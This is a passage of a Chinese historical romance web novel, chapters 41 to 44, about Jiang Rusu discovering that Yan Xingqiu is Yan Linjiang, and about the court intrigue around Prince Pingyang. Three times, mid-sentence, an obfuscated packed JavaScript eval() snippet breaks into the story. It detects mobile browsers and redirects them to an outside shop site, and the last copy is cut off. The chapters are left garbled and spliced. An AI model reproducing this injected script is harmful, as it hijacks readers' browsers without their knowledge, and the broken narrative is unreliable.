“嗯。”姜如素笑着回答,收回把脉的手在袖间蹭了蹭,她轻摩挲这指腹,低着头在晏临江瞧不见的地方,看着指腹泛了浅蓝色。 一时觉得眼眶有些酸,手抖的没辙。 眼前人的模样渐渐同晏行丘重合。 早些时候心慌的那个答案得到了证实,晏行丘就是晏临江,晏临江就是晏行丘。 她亲近晏行丘,离别时特地装作不舍的在他腕间抹上了药水。说是驱蚊的,实际倒也是无害的一个药汁。 替晏临江号过脉后,食指染上的药汁同另一味方才才抹再拇指指腹的药材上产生了色变。都是些西羌才觅得的稀奇药物,除了晏行丘,今日并不会再出现第二个人的身上。 眼前的晏临江做不得假,是真真切切的晏临江,是她心中一直如一弯皎月的晏临江。 细细想来,结果似乎早就已经告诉了她。 从晏行丘的身份她看不透开始,尹雁淑那句没说完的话,以及严秋水答复的那句,晏行丘就是晏行丘,做不得假。 以至于到袁卜榆口中的,晏临江不是晏临江。 一切都像是引导着要告诉她,晏行丘就是晏临江。 如今谜底就在她眼前。 “好啊,”姜如素她心下冷笑,分明是心声却震的她心疼,“好你个晏行丘,你可真瞒得我好苦。” 怪她愚钝,怪她天真,知道的太晚了... 41.纠结 “怎么了?”晏临江很是细致的发现了她的情绪不对。 声音分明依旧是毫无起伏,但晏临江知道,他很慌张,上次绝笔信那次,是少见到她哭,如今莫不是触景生情了? “没事。”姜如素依旧垂着眸,视线落在那茶盏中,悬浮着的茶叶上。 尘封的记忆似乎恍恍惚惚的提起了某件旧事,怕是因为当时那封绝笔信,晏临江想到这里有些懊恼,像是将茶水当酒水一般,一口便饮到了底。 姜如素缄默的垂着眸,她不知道是该挑明还是该任由他这般,她还没收拾好情绪面对晏临江,怕这双眼透露了太多。 晏临江坐在她对面也是稳不下心态来,心里像是排了一处戏。 “为什么?为什么要骗我?”戏中姜如素红着眼问他为什么。“分明你活着,却亲口告诉我死了。” 幽囚宫中的那三月,几乎脱去一身皮,病的日日发热退不下来时,窝在草席中写的绝笔信,字字不舍,字字悔过。 “不是的...”晏临江开口解释着。 他并不是要骗她的。 可他说不出口,分明那般坦荡的人,却做出了那么卑劣的事情。 晏临江这个身份落在最后,最好能与这乱局撇清,舍弃姓名是最为方面且无后患之忧的法子,于是他出逃的时候便取名晏行丘。 可晏临江还是没忍住,他心底有个念头在隐隐作祟——他想知道那年在西羌动他心魂的姜如素,会不会也对我有那么一点点的喜欢。 “我只是想知道,你是不是还记得我。”晏临江的解释略显苍白。 七年的时光太长久了,他凭着那一眼相思了千万个日夜,思念到可以将万事都框于计谋中,心急的忽视了帝王心术,急功近利的将破绽漏了出来。 七年,他全是凭着那一眼将自己吊着,在疯魔的边界线撑着,形若走尸,在重见她的那一刻才复苏过来。 可是他不确定,他将一切最坏的想法都想过了,想着姜如素不记得他,早有意中人,早已私定终身。 “是我错了。”晏临江软了语气想要袒露。“是我卑劣,是我卑劣的想知道你心中也念着我。” 所以他才会透露着是景州人。 听到姜如素问起景州的时候,晏临江还存有一丝侥幸的心思。 想着若是姜如素对晏临江情有独钟的话,便是做局再死千万次,变成一无所有,再以晏临江的身份回到她身边。 “那你为何不坦白,从初见开始。”姜如素追问着。 因为...晏临江必然会带来朝廷里的那些风雨,他不想牵扯她。 晏临江似乎还有说不尽的话,想说这七年有多思念,无数个日日夜夜睡不着的夜里,祈祷着她岁岁平安,得偿所愿。 可晏临江想再多,眼前的姜如素,真实的姜如素只是沉默着喝茶。 “要下棋吗?”他轻声开口,像是询问,但手下已经取出了一个棋盘,是西羌的一种打发时间的棋。 “嗯。” 已经很久没下过这棋局,姜如素几乎快有些记不清规则了,下到最后居然还是她赢了。 “我赢了。”姜如素放下手中的方棋,看着似乎观察着下一步应当走哪里的严临江开口提示着。 “嗯。”他答得温柔,将棋子放下,“你赢了。” “接下来是要回景州了吗?”姜如素并没有如晏临江所预料那般问道。 两人都很是默契的绕开了那封绝笔信,就好似晏临江并未写下,姜如素从未听闻过一般。 “嗯,要先回景州去,家中还有些琐事需要处理。” “那路上一切平安,时候不早我也该回去了。”时候不早了,不知不觉一个半时辰就这么过去了。 “好,那我便也不留你了。” “来日再见。”姜如素颔首行了一礼。 晏临江颔首回了一礼,目送了姜如素走过回廊消失在了眼前。他也不敢耽搁,回去的路程还得抓紧。 姜如素一出门那马车便也候在了门口,她心里倒是想着希望马车快些再快些,到时候早早的回了绣楼,她倒要看看晏行丘能给她一个什么借口。 路边有一片竹林,风吹过的时候总会响起飒飒的林鸣声,很是静人心脾。 可这会儿却埋伏着些人,约莫六七个黑衣人藏在竹林下的小土坡后,探着半个身子朝外观察着。 西山小居本就偏远,这条路上鲜少有行人,偶有马车经过眨眨眼便也过去了。 马蹄声越来越近,似乎并不远了,他们一股脑都探出了头,爬伏在土坡上,看向马蹄声的方向,手一水的摸上腰间的短刀,绷紧了身子像是蓄势待发的箭。 黑衣人戒备的盯着,呼吸都放慢了下来,才隐隐在路尽头看到了马车的样子,他们在路上放上了几块大石头,待会儿马车势必会慢下来。 “是这个吧?”其中一位跃跃欲试的黑衣人开口询问着,一边探着头去看马车外观的那些细节。 “是这个,那边传信来说,是亲眼看见她上的这个马车,车夫也没换。”沉稳一些的黑衣人开口回答着,提及那边的时候,目光微微朝着郢州城的方向点了一下。 马车渐渐的近了一些,也确实如他们所说那般为了绕开石头,慢了不少下来,也给了时间让他们越发确定这马车就是姜如素坐的那一辆。 “动手?”跃跃欲试的黑衣人开口,将身侧的刀抽出了一半,只等着沉稳的那位黑衣人一声令下他们就动手。 “......”沉稳的黑衣人正欲应下,寒光一闪,长剑靠近了他的脖颈间,不等他便一剑封喉的抹了他的脖子。 余下的几人这才注意到身后不知什么时候站了一个人,分明方才还不在的。男子蒙着面,出手毫不留情,就像是奔着他们来的。 “你究竟是谁?”方才还跃跃欲试那人现在显然是冷静了下来,多嘴问着。“你瞧着不是西羌人,为何要来...” 他一侧的另一个黑衣人立马给了他一肘,“这时候还说这些废话干什么?” 两人说话时,已经有两三个黑衣人飞身抽刀朝着蒙面人刺过去。 晏行丘有些不悦的皱眉,他们身侧别的刀鞘上套子的花纹和方才的话语,无疑不是在告诉他,这群人是西羌来的人,特地奔着姜如素来的。 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四周的竹林依旧只听得到树叶的飒飒声,路中间除了一块稍大的时候,其余也就约莫拳头大,挪的时候也并不费事,但马车若是直接碾过去,不但颠的很还很废轮子。 车夫很快便将石头挪开了,两三步上了车。 “姜姑娘坐稳了。”提醒过后,马车便又快速的离开了。 “唔。”黑衣人呼吸不过来,发出微弱的声音。 打斗的过程并不吵闹,几乎是晏行丘单方面的碾压。 他现在面朝着地上,手被晏行丘反剪着压在身后,晏行丘为了将身子藏在土坡后,加上这会儿心里有着气,膝下用了不少力,欲要将黑衣人按进土里。 他方才赤手空拳接了一下,短刀划下来将他袖口的衣袍也划出了个一寸长的口子,只要一抬手就是极为明显易察觉的破洞。 马车走了,晏行丘深吸一口气,动作麻利的结果了他。看着破洞的衣袖倒是又在那处挠了挠,挠的线头出来了才罢休。 好歹看着不像是刀割的... 姜如素才进院门,问过点秋,说是晏行丘早早出门去排队买烤鸭去了,城东那家每日限量供应,现烤现做,一趟得排队一个时辰。 姜如素心里明镜似的,笑着算算时辰看晏行丘什么时候回来,才这般想着就看到晏行丘也自远处回来,看着似乎不太开心。 “回来了?” 晏行丘看见她时,立马高兴了不少,“嗯。” “看我买回来了。”说着抬手朝着姜如素晃了晃手中拎着得烤鸭,好几个纸包摞在一块,都闻到香味了。 “这是怎么了?”姜如素敏锐的看到了他袖口的破洞。 “这个啊,”说起来的时候,晏行丘似乎又有些失落,似乎还有些生气,“午后我去买烧鸡的时候,有人在铺子门口闹事,推了我一把,衣裳都给我抓破了。险些给铺子闹关门了。” “好在我最后买回来了。” 分明是一人,模样也相似,姜如素见着他这一刻倒是无奈的叹口气,眼前人再怎么联想,性格都不似晏临江。 各论各的吧... 她心里清楚就好。 42.黾州 赵永林的死讯很快便由京中传到了黾州城。 “这是怎么了?”迟枞看见勒伍走路的姿势似乎有些跛,看样子应该是受了罚。 “世子死了。”勒伍面无表情的回答着。 赵永林的尸首是陈时暗下派人送回去的,入京的时候都是悄无声息的,那副棺材就好像只是王府采购的蔬果一般,被放在了门口。 那些下属和哑巴似的,门口的护卫问也不说,直到王府门口的护卫去寻来了管家来,才从送了口说这棺材中装着平阳王世子。 那时平阳王还未下朝,管家便差人先搬了进去,平阳王这一回来,才听闻儿子回来,却不曾想已经阴阳相隔。 到底是亲儿子,王府闭门三日不见客,最后浩浩荡荡的将赵永林下葬了。 上京不少人是欣喜的,赵永林平日烧杀抢掠,这样的恶人早该死了。但又念及平阳王刚丧子,大张旗鼓的庆贺,生怕引火上身。 守在赵永林身边的那些侍卫没有送回京,草草的在郢州城附近寻了个乱葬岗给扔了进去。 陈时一直养在皇帝身边,性子直本想着不如将这些侍卫也一并送回去,草席一裹装一车给他送去。 但这样太过于挑衅了,晏临江好说歹说终是劝说他止了念头。 “坐下说吧。”迟枞给勒伍拎了把椅子给他。 “好。”勒伍这一路走进来疼的额角青筋暴露,这会儿坐着他倒是松了口气。 他此行出京的首要任务本就是作为平阳王的眼线放在迟枞身边,盯着他手下的三万兵,确保将来能及时北上,但护着赵永林的安危也是他的任务。 如今赵永林连带他身边养的侍卫全都死了。偏偏还是在勒伍又是外出办公的时候,勒伍并无大错,可平阳王丧子的怨气也只能发泄到他的身上。 私狱里各种刑拘用上,若不是念在这紧要关头,杀他不得,怕是他连命都没了。 “你这次回京去,是王爷新安排些什么任务下来?”迟枞翘着腿坐在他对面。 “嗯。”勒伍应声,语气严肃了起来,“时间提前了,入冬就动手。迟都督可得做好准备,不要拖了后腿。” “入冬?下月?”迟枞算了算时间不足一月。“那我需要做什么?” 一月的时间说长不长,说短不短。他掌管的这两万五千余人说到底明面上还是赵煜怀的人,若是要布局兵力得早些做打算才是。 勒伍摇了摇头,“迟都督稍安勿躁,需要做什么?届时王爷自会传信来。” 迟枞自然知道,平阳王这是在背后筹备着下一盘大棋,早早告知他怕是会被人乘虚而入将局面给搅浑了。 “我知道了。”迟枞应下,但大抵还是知晓了。 每年立冬过后,西羌便开始逐渐开始落雪,西羌的百姓吃着早早屯下的粮食开始过冬,如今已经快近中秋,离立冬也不过二十来天。 民以食为天,缺少粮食过冬的西羌人自然会带来一场战乱。 “话我带到了。”勒伍起身就朝外走去。 “不住下?”迟枞挑挑眉,前些日子审查时,勒伍便一直住在军中,大有他迟枞一旦隐瞒夸大了军中实力,便押他去平阳王那里谢罪的架势。 如今居然不留下继续当一双眼监视这他了,迟枞倒是觉得有趣。 “我还得早些回京去复命。”勒伍头也不回的说着,走了几步突然想起了一件事,便又走了回来。 “这是还有什么事?”迟枞问着。 勒伍并不开口,从怀中取了几张银票放在一侧的桌上,“王爷说临近中秋,算是让大家吃些好的。” “那你替我谢过王爷。”迟枞瞥了一眼放在桌上似乎有些厚度的银票,嘴角少见的没压住。“慢走不送。” 中秋约莫着还有两三日便到了,黾州城里的商贩已经陆陆续续的开始做起了月饼吃食,赵煜怀也派人给军中送来了不少的补给,上午刚刚到,还没清点出来。 这时候又送些银两来,看来今年的中秋当真是过的最为富足的一年。 “王复。”迟枞提高音量朝着门外唤人。 “在。”门外的男人听到迟枞的吩咐立马进了门来,迟枞将桌上的钱拍在他怀中,“中秋快到了,去给兄弟们置办些好吃食,什么肉食都整上,酒水买些好的,不能总让兄弟们喝那些便宜货。” 王复将手中的银票翻了翻,那是一百两一张的银票,足足有六张,六百两银子他们这几万人吃顿好的了。 “好嘞,都督放心交给我,我一定得办好。”王复兴高采烈的将银票塞进怀中。 驻扎的地方离城中有着约莫百里的路,往返一趟也不是易事,他这立马就起身去置办。 迟枞看着事儿也处理完了,起身去一侧帘子后的柜子上取来半壶酒,回到方才的桌子上,将两个酒碗摆开,盛满酒,兀自的端着一碗坐在椅子上。 “你怎么看?”迟枞看向另一侧帘子后。 军营驻扎的地方,自然是同那些居家的布料有着极大的区别,那帘子是一种深酱色,拴在木柱旁,将后面遮的严严实实的。 “不说话?”迟枞继续对着那里说话,“不说话我也知道你在。” 见那帘后依旧毫无动静,迟枞有些疑惑,方才那细细的脚步声他应当是没听错。可看样子,莫不是他听错了? 迟枞放下酒碗起身朝着那帘子后走去,帘子后放着一个书架摆放着他平日或用到的一些布局图。当真没人? 他迟疑的转身,就看着少年坐在他方才起身的椅上,端着他盛的另一碗酒。 少年郎年龄并不大,约莫十六才出头,装扮极为精简,色彩倒是好看的华丽花哨。腰间别了不少东西,大剌剌的翘着腿躺在迟枞方才坐着的椅子上,颇有一种家中大爷的气氛。 “迟兄方才是误以为自己判断错了?”少年郎又些掩不住得意,对自己的恶作剧很是满意。 “迁梓说笑了,我怎么不知道是你来了。”迟枞坐在桌案的另一侧坐下,“今日之事,你怎么看?” “引战事祸及两国百姓,是要被人将脊梁骨都戳断的。你当真要做?”陈迁梓直言不讳的说了出来。 每个人都有野心,但若是祸及旁人当真是罪人。 “可无论怎么都总会有人要牺牲的。”迟枞叹了口气,倒是要看另外的人怎么走了。 “都督。”有人在室外禀报着,“陈大人和晏大人正在营外,说是要见你。” 迟枞不急着回答,给陈迁梓递了个眼神,陈迁梓轻轻颔首。 晏临江的到来,两人毫不意外,从赵煜怀对外宣称封晏临江为御史的时候,令他周巡各城的时候,就料到了晏临江会到黾州城来。 “那我先回去了。”陈迁梓悄声说了一句,一溜烟的便离去了。 “好,”迟枞一边应下,将桌上的酒碗稍作收拾扔在帘子后,朝着门外的吩咐着,“去请晏大人过来。” 迟枞方才收拾好,叫人去弄壶茶来,茶水刚端上来,晏临江同陈时二人便也进了门。 “晏大人,陈统领。” “迟都督,好久不见。”晏临江开口寒暄着。 “是好久不见,上次见晏大人还是随家中长辈去晏家祝贺老太公的寿辰。” “方才我过来的路上,倒是瞧着迟都督御下有方。这赤家军在迟都督的带领下倒是有当年的风采。”晏临江半是夸赞半是实说。 居于黾州城的这只军队自迟枞的太爷爷起,便是一直有迟家人带领的,早年老人家取名迟家军,后渐渐由化迟为赤,改为了赤家军。 “不知,晏大人这是要来查我平日是否克扣军饷还是?”迟枞脸上依旧挂着客套的笑。 “自然不是,迟都督为人磊落,赤家军最是忠君,我能挑出什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221908|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么毛病。” 忠君...迟枞也不知道晏临江是当真知晓些什么,同他装糊涂,还是说误打误撞的说了出来。 “这是自然,不劳晏大人提醒。”迟枞给两人满上茶。 临近午时的日头当真是大,几人在帐中多能瞧见那帐外站在门口的小兵,站的笔直似乎贴在帐上一般。 晏临江不问,迟枞也不愿答,陈时也权当是陛下的旨意来走个过场,几人拉扯了些无关的事情,聊了一刻钟后。 陈时先是坐不住了,他本就没什么话可同迟枞聊,两人几乎未曾见过,晏临江同他也不过是因为家中见过一两面,叙完旧便也无话可说。 二人走了一趟过场,也算是替赵煜怀浅浅的点了一下迟枞,便也是辞行了。 迟枞将二人送出了出去,前脚才没走出多远,陈时余光就瞥见,迟枞帐外守着的某个小兵,像是突然有了急事,同身边的人替了班,便匆匆的进了另一个帐子中。 “迟都督可得当心身边人。”陈时点到为止的留了话,也无需他再送。 “我自是知道。”迟枞朝两人道别,“晏大人,陈统领再会。” “现在就去?”营外陈时候着小兵解开马绳,同晏临江提议着。 此行他们还有去见一人,那人早年便因病一直养在黾州城外,同景州并不远的一处山庄中。 赤家军驻扎的地方也并非在城内,同他们要去的地方也并不远,一处坐南一处坐东,现在去应当还能赶个饭。 “晚些去吧,先去黾州城吃过午饭,”晏临江说着先是起身朝外走出,“另外今日拜访,最好还是买些东西带上。” “好。”陈时一口答应下来,平日京中熟络的几人都是空手赴约,或者偶尔提上一壶酒。但礼数方面依着晏临江来,总是不会出错。 两人便去了趟黾州城,去当地最好的食肆里,领走时顺带打包了两三道特色菜带上,算是见面礼。 这一来二去的折腾,到山庄的时候,已经是申时了,晏临江认路,也无需侍女带路,两人便朝里走。 “三殿下这些年就住在这里?”陈时一边打量着周围的布局,只感叹两句这江南倒是当真养人,可这山庄自然是比不得三殿下在宫中的住处。 “嗯,三殿下养病自然是僻静之处最为优胜。”晏临江说着。 才过了弯陈时顿住了脚步,看着庭下坐着的两人,又看了看身侧的人。 这是? 怎么会有两个一模一样的人存在。陈时转不过弯,大脑一时完全空了。 “晏兄?晏大人?这是怎么回事?怎么会有两个你?”低声唤着,像是夜里前行的旅人试图在摸黑的过程中得到回答。 他眼睛一转不转的盯着庭下的那人,手紧紧的握住身侧晏临江的手臂,紧紧的拽住他,这些日子他一直和晏临江同行,今日怎生多了另一个晏临江。 “晏临江?”得不到身边人的回答。 他身侧的男人似乎终于松了一口气,用另一侧未被他握住的手摸索到脸侧,手指顺着脸的轮廓摸索着,不一会他用力便将一块面皮揭了下来。 那面皮后是另一张脸,是他早年的同袍,燕哲居。 燕哲居带着一抹看乐子的笑看向陈时,这段时间他倒是狠狠的敲诈了陈时不少。 思及今日午饭又花了他不少银两,燕哲居说不准有多高兴,往日扣扣索索一分钱都不肯花,读书时每日便来蹭书的陈时,让他狠狠的宰一刀。 “你什么时候伪装成晏大人的。”陈时似乎还是有些不相信,他找不出任何燕哲居能寻个机会伪装成晏临江的时机。 “自然是从回京开始。”从回京开始,晏临江这个身份便是由燕哲居扮演的。 燕哲居顺势甩开陈时因惊愕而松开的手,三两步上了台阶,朝着庭下的两人行礼。 “三殿下,晏先生。” 43.送行 “姜姑娘的东西到了。”驿使手上拿着一个布包,四方整整齐齐的里面应是包着一个盒子。 “是吗?我瞧瞧。”守着铺子的绣娘一听说是姜如素的包裹,看着包裹上别着的名字确确实实是姜如素,这才数了几个铜板交给驿使。 送走了驿使瞧着这会儿铺面里人少,绣娘便抱着包裹往后院去了。 “姑娘有您的东西。”姜如素平日都是坐在后院的书下算帐本或者是登记近日的一些收□□绣娘一进后院的门便看见她了。 “什么东西?”姜如素觉得困惑。 往日偶尔听说那里有些精美的绣品,她便托人替她代为购买来,再由驿使送来,这几个月发生的事情太多了,她根本还无暇顾及那些事儿。 怎么会有人给她送东西来? “给了多少跑腿的钱?”姜如素头也不抬,眼神随着指尖游走在字里行间。 “一共给了6个铜板。”绣娘如实回答, 驿使一般分作两种,一种便是城与城之间,只消得将物件给送到城中便可的长途驿使,另一种便是城中的驿使,将长途驿使送到的物件,一一送至各家的短途驿使。 长途驿使的费用多是由写信寄物之人担负,短途驿使便是收下的人家给,根据物件的大小价格也颇有不同。 六个铜板,是个不小的东西。 “辛苦你了,放在椅子上就好。”绣娘见姜如素在忙,便也不再多打扰,将包裹放在石桌一侧的石凳下,便接着去看管铺面。 这几日点秋进了不少的药材,账面上有着大笔大笔的开支,核算下来也是当真令人头疼。不知不觉已经到了午时了,后院已经能闻到后厨的饭香味了。 “姑娘,这是什么啊?”点秋从袁卜榆那里要了方子,窝在屋子一直抓方子,昨儿还和姜如素轻叹过,现在自己和药材泡出来的一样。 两眼一闭,就知道该抓多少。 “这个?”姜如素只抬眼瞥了一眼石凳方向。 “是啊。”点秋绕了过来,坐在姜如素对面的石凳。 “我也不知道,想着待会儿空下来看看,这不一时没得空。”姜如素对完手上这一页,也是觉得疲乏。索性将那些零散的纸张一并夹在书页中。 “那我可以看看吗?”点秋好奇极了。 “看吧。”并非是什么私密的东西,有人代为打开,她也清闲的乐意。 点秋见姜如素同意,加之合上账本也不会扰乱她,便将包裹放在桌面上,那包裹打结处塞着一张纸条,点秋将它解开,看着上面写的字。 “姑娘,是晏公子从景州寄来的。” 晏行丘? “是吗?”姜如素伸手接过点秋递来的纸条,纸条上只写着郢州城无素绣楼姜姑娘收,左上角写着个小小的景州。“何以见得?” “这就是晏公子的字啊,”点秋站到她身边,晏行丘的字很是独特,就算放在同类型中都有种别样的风骨。 “你倒是认得准。”姜如素逗她。 “姑娘这可说不得啊。”点秋立马精神了,“我只是单纯记性好。” 姜如素应下他言宣后,晏行丘也不遮掩着,除开姜如素特地交代过,不要见个人就扯着人告诉别人之外,姜如素似乎也没觉得有什么不妥之处,也就随他去。 现在绣楼上上下下谁不知道她家姑娘和晏行丘的关系,点秋猜测要不是她家姑娘不愿意进展这般快,怕是今年都能喝上两人的喜酒。 “好,我知道。”姜如素本只想着说她认得准,没想到小姑娘想到旁的去了,晏行丘平日到底私下说了什么?“谁不知道我们点秋这双眼认什么都是准的。” 早年姜如素外出的时候,那些送货上门的单子都是等着送上绣楼,再由点秋她们结算。点秋那时才被从人伢子手中救下来,还不识字。 但倒是从一些细节上将姜如素的字认得准确,从未出过差错。 “也不知道是什么东西,打开瞧瞧就知道了。”姜如素解开上面包裹着的布,里面是木盒,叠放起来两三层的木盒。 第一层是用油纸包裹着的肉干鱼干,隔着油纸一打开就闻到了香味。味道也好极了,姜如素同点秋取出一点品尝了一番。 点秋夸张的称赞着,若是放在城中的食肆馆子中肯定买的好。 第二层放着的是糕点,为了不弄碎,还铺了不少的稻草。 最下面是茶叶,姜如素将茶包凑近闻闻,应该是景州月明山的好茶,茶包下面有着一封信,上书着如素亲启。 姜如素不急着看,将那封信倒置着放在石桌上,拿了些吃食出来,“剩下的给大家分分吧。” “好嘞,谢谢姑娘。”点秋抱起盒子,正色着,“咳咳,谢谢晏公子给大家送来的吃食。” “嘴贫。”姜如素用食指点了点她额间,点秋高高兴兴抱着盒子走了。 姜如素这才拆开信来,晏行丘洋洋洒洒的写了两三页纸,开篇先是报了平安。 随后便是同她说着这一路来水土不服倒是难受,还有一路上的琐事,那委屈的模样似乎恨不得立马随着这封信回绣楼来。 还邀功似的将景州城上上下下逛了个遍,这才给她搜刮来一盒子的地道好吃食。 姜如素不自觉的笑出了声,不知不觉她居然越发的对晏行丘多了几分在意。他离开绣楼也才三四日,算算一到景州就马不停蹄的给她寄送来这物什。 中秋也快到了,也不知道晏行丘会不会留在景州节后再回来。 午时的阳光正盛,透过树荫落在桌上形成点点光斑,就好似跃动的萤火虫。 似乎他提出要回景州的那日,也是这个天气,也是这个时候。 那时她也在石桌这儿,算着最近的工期,又有几家的单子应该这两日送去,又缺了什么,晏行丘那时慢慢的走过来。 他坐在姜如素身侧拿着蒲扇轻轻的给她扇着风。 “怎么不去屋里坐着?” “我在这儿,前后院要找我一眼便能寻见,去楼上倒是不方便。”姜如素察觉到晏行丘像是有话要说。 “怎么了?”姜如素面上毫无变化,心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风轻轻吹起那马车的帘子,那一瞬将里面人的模样都给露个清楚,分明依旧是那身衣裳,神情也是那般不苟言笑,冷淡疏离。 他身侧坐着一个男人,看着是个武夫,姜如素推测着,他应该就是旁人口中所提及的,晏大人身侧跟着的陈统领。 陈时坐在他身侧,就像是一个象征,象征着这个晏临江才是真正的晏临江。 可姜如素知道那并不是晏临江,虽只有那一瞬,那一眼,但还是分辨出来了。 她比她自己所想象的更了解晏临江。 可晏行丘有些天真了,若是当真这么多年没见过,只凭那一眼,她是辨不出真假,可他们才见过。 若非是那日见过,今日她只会觉得奇怪,若是不交谈上几句,她并不会察觉出真假。 她算是明白了,晏行丘可能察觉到了,察觉到她知道了有关他身份的东西,但知道了多少,晏行丘并不能确定。 所以今日才找补,做出这场戏来。 44.丧子 上京,八月十四。 “王爷,都准备好了。”管家批着一身白衣站在一侧候着,平阳王在这棺墩前已经坐了整整两日了,头发似乎花白了不少,像是一场雪落在了他的头上。 分明是轻似鹅毛的雪,却想要压垮他一样。 “嗯。”他的声音落得很轻,起身的那一刻险些又跌落了回去。“勒伍。” “在呢。”勒伍自正厅外一个闪身进来,连忙上去扶住平阳王,眼前的男人神色哀苦唇色发白已经许久没进食了。 “路途遥远,王爷不如用了饭再启程?”管家有些担心,世子还未安置妥当,王爷要是再出了事儿,偌大的王府就要乱成一锅粥了。 “不了,叫人进来抬吧。”平阳王将身子的重量都压在陈管家身上,战场上冷面肃杀的男人如今像是风都要吹倒了一般。 “是。”陈管家应下后,再回来时身后跟着十二个侍卫,都是跟着平阳王这么多年的亲信。 “永林这最后一程便有劳各位了。”平阳王说完便自棺前让开身,六个侍卫那个木棍就朝着棺墩过去。 “且慢。”尖细的声音打乱了几人用麻绳要将棺墩绑起来的动作。 “哎呀,这...”陈管家嘟囔的埋怨着,回头看见来人是陛下身边的公公,立马噤声堆着笑迎了上去。“公公这是来?” “这不是陛下也想在王爷动身前再见见世子。”公公捏的嗓子解释着,“陛下本吩咐好早些时候就来的,可这临近中秋不少官员送来的拜帖让陛下忙活了好一会儿。” 平阳王在勒伍的搀扶下,有些费力的转过身子,公公嘴上说的是赵煜怀忙忘了时候,私底下是真是假谁有说的准。 偏生在这快抬棺启程的前一刻,赵煜怀怕是故意等着这一刻,管家连带着那些侍卫都看向了平阳王,平阳王有些疲乏,闭着目。 “那便等皇兄一刻吧,想来永林也是想再见见他皇叔一面。” 约莫等了一刻钟,一顶小轿才停在了平阳王府的门口,那九五至尊才慢悠悠的迈着步子进了正厅。 “是我考虑不周,让皇弟久等了。”众人见赵煜怀,皆是忙着行礼跪陛下圣安,平阳王颤抖着说要起身,被赵煜怀按了回去,“皇弟免礼,不知一切可都准备妥当了?” “回皇兄,已经准备妥当。” “好。”赵煜怀点点头,“不知我能否再为永林上柱香,也算是送别了。” 平阳王说不出话来,给管家递了一个眼神,他立马毕恭毕敬的取来一炷香,那公公接过去将香点燃了才递给赵煜怀。 赵煜怀接过香,朝着棺材俯了俯首,公公立马接了过去插在了香灰坛子中。 “明日便是中秋,不如明日过后再启程?”赵煜怀提议着。 “皇兄,我昨日进宫同你商榷过,永林母亲是随州人,我想将他带回他母亲的故里安葬。”平阳王满目皆是不解,分明他早就说了今日要起身,赵煜怀拖着时间才来,就好似不让他离京。 “我知你心急,但我也不舍,这一别不知何日再见。”随州相去甚远,平阳王离了京还不知道要翻出什么浪来。 陈时昨日写了信来,说是除去有一两个地方的小官欺压百姓外,一切照常并无异处,晏临江也是中规中矩的执行着御史的职务,也并无逾矩的举动。 倒是途中交谈,觉察晏临江如今谈及天下时事似乎有些力不从心。 可几年前他自以为是犯下的错误让他依旧不敢掉以轻心,若是平阳王趁着出京后又卷土重来呢? “皇兄是知道的,永林母亲去的早,他自小就最念他母亲,请王兄全了臣弟的心愿的吧。”平阳王说道情深时,泪水止不住的往外滚落,“不要误了我儿的时辰。” 平阳王这几日郁结于心,又滴水未沾,只凭着一口气吊着,说多了话抢着自己止不住的咳嗽,要将心肝都咳出来,随他儿去。 像是想起了什么,他一把推开扶着他起身的勒伍,身子没了支撑一下子跪在了赵煜怀身前,他这一跪跪的突然,赵煜怀也没来得及接住他。 “煊允知道自己年少时翻傻,惦记着不该属于自己的东西,如今永林已逝,煊允知道自己错了,”平阳王跪伏在地上,一步步膝行到赵煜怀脚下。 “求皇兄放我一条路吧,就当是为了当年年少时我们的情谊,放我一马吧。”平阳王声声嘶哑,字字催泪。 赵煜怀看着脚边的弟弟,两人虽不是一母同出,两人的生母也是关系极好的手帕之交。两人自小关系也是极好。 他母亲还在世的时候就叮嘱过,为君者难免面对算计厮杀,要他们二人好好扶持着对方。 太上皇还再世的时候,为防止谁赶尽杀绝登临帝位,或多或少都给每个皇子留了点底牌,太上皇念及太子赵煜怀不善武,便是给了他几位名士。 那时的六皇子赵煊允最是喜好舞刀弄枪,太上皇便从指缝中漏了点兵力给他。 那时的赵煊允没少用这些兵力给他撑腰,甚至还在刺客的刺杀中,为他挡了刀,在鬼门关走了一趟。 “皇兄...你还不信我吗?”平阳王抬眼看着赵煜怀,他的眼通红哀求着,“兄长...” 赵煜怀透过那双眼似乎又看到了那个年少时为他挡剑,浑身是血,哭红了眼对他说好疼的阿弟。 赵煜怀登基为帝,赵煊允受封平阳王后,那点兵力在他的带领下倒是只不错的良兵,虽说不是什么以一敌百的精兵,留在他手中赵煜怀还是不安心。 平阳王知道他在顾及什么,便交了兵符,自请送子安葬后便居随州。 他该怎么罚他? 他能怎么杀他? “我信你。”赵煜怀抬手将他扶至座椅上。 赵煜怀的目光落在勒伍身上,这个随着赵永林一起出京的人,如今回来守着平阳王看来,或许是他多想了。 “那我便不留你了,早些启程吧。”赵煜怀交代完,平阳王强撑着身子抬手,勒伍看到了他的指示,立马对着那几个侍卫递了指示。 几人将拧好的几股麻绳从棺墩下穿过将木棍紧紧的绑好,有将麻绳绕过上面,将棺墩结结实实的捆个扎实。 “走吧。”平阳王见他们收拾好了,搭着勒伍的手起了身。 “皇兄,来日再见。”平阳王作势要行礼,赵煜怀上前扶住了他。 “此去一定要平安。”侍卫抬着棺墩经过时,赵煜怀扶着棺墩的一侧轻叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 